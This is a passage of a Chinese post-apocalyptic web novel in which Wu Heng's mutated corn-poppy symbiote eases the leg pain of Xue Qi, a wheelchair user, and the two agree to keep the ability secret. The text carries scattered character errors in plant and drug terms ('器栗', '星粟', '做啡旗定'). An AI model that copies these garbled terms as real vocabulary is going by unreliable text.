薛屺不可置信地睁大眼睛,“我腿不痛了!"他当即就要回头告诉薛慎,可又立马想到了刚刚乌珩的话,他转头看着乌珩,神色激动,“我的腿居然不痛了,你怎么做到的?"“你是不是有治愈的能力?我的腿是不是能治好了?”薛屺眼睛越来越亮,黏在乌珩的身上,半秒都舍不得挪开。乌珩收回了手,他低头看着掌心,片刻后,他起身,“我没有治愈的能力,更加治不好你的腿。"薛屺愣了愣,“那,为什么…” “只是因为与我共生的植物,它或许有一定的镇静止痛的功效。”乌珩才想起来,虞美人是罂粟科的植物,“是暂时的。"星粟的提取物本身就广泛应用于医学领域,作为器栗的亚种,虞美人或多或少也有相同效用,未世前,这种效用的含量可能可以忽略不计,不然不可能允许当成观营性植物裁种,可如今它已经变异,各方面的能力都有所进化,那能够做啡旗定止痛也就不奇怪了。 难怪刚刚这么激动,原来是碰到了对口专业,想要在自己面前表现表现, 有的新收获,乌珩被同学打呼吵得难以入眠的坏心情转好不少。 薛屺就没他那么开心了。 男生肩膀耷拉下去。 “也没事儿,”他很快将自己安慰好,又眼睛亮亮地看着乌珩,“那我以后再痛得睡不着觉,你就帮我止痛,行不行? 乌珩想了想,点点头,“好的。" “但是别告诉其他人。”这是植物的附带能力,他不想被其他人知道。 “放心,我肯定不说,我连我哥都不会说,这是属于我们两个人的秘密。 薛屺操控着轮椅准备往回走,“快,我们回去睡觉,不然我担心我待会儿又要痛了。乌珩却在此时突感后颈生凉.有什么人在盯着他。变异植物超乎寻常的敏锐力,很快就将乌珩的目光带向教学楼三楼的窗户。谢崇宜不知何时站在的窗户后,他虽然微翘着嘴角,乌珩却觉得对方心情坏到了家。